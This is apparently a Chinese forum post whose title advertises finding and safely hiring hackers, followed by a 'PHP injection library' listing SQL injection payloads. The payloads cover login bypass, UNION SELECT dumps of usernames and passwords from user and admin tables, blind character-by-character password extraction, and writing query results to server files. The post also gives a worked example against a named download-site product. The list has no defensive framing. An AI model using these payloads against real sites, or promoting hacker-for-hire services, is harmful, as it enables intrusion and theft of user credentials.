rand_user 发表于 2020-10-28 00:00:00

有信誉的黑客联系方式 哪里能安全雇佣黑客

php注射库

  \“ or 1=1

  \“ or \“1=1

  \“/*

  \“%23

  \“ and password=\“mypass

  id=-1 union select 1,1,1

  id=-1 union select char(97),char(97),char(97)

  id=1 union select 1,1,1 from members

  id=1 union select 1,1,1 from admin

  id=1 union select 1,1,1 from user

  userid=1 and password=mypass

  userid=1 and mid(password,3,1)=char(112)

  userid=1 and mid(password,4,1)=char(97)

  and ord(mid(password,3,1))>111 (ord函数很好用,可以返回整形的)

  \“ and LENGTH(password)=\“6(探测密码长度)

  \“ and LEFT(password,1)=\“m

  \“ and LEFT(password,2)=\“my

  …………………………依次类推

  \“ union select 1,username,password from user/*

  \“ union select 1,username,password from user/*

  =\“ union select 1,username,password from user/* (可以是1或者=后直接跟)

  99999\“ union select 1,username,password from user/*

  \“ into outfile \“c:/file.txt (导出文件)

  =\“ or 1=1 into outfile \“c:/file.txt

  1\“ union select 1,username,password from user into outfile \“c:/user.txt

  select password FROM admins where login=\“John\“ INTO DUMPFILE \“/path/to/site/file.txt\“

  id=\“ union select 1,username,password from user into outfile

  id=-1 union select 1,database(),version() (灵活应用查询)

  常用查询测试语句,

  select * FROM table where 1=1

  select * FROM table where \“uuu\“=\“uuu\“

  select * FROM table where 1<>2

  select * FROM table where 3>2

  select * FROM table where 2<3

  select * FROM table where 1

  select * FROM table where 1+1

  select * FROM table where 1--1

  select * FROM table where ISNULL(NULL)

  select * FROM table where ISNULL(COT(0))

  select * FROM table where 1 IS NOT NULL

  select * FROM table where NULL IS NULL

  select * FROM table where 2 BETWEEN 1 AND 3

  select * FROM table where \“b\“ BETWEEN \“a\“ AND \“c\“

  select * FROM table where 2 IN (0,1,2)

  select * FROM table where CASE WHEN 1>0 THEN 1 END

  例如:夜猫下载系统1.0版本

  id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

  union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user

  union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

  id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1

  union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 (替换,寻找密码)

  union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49 (验证第一位密码)




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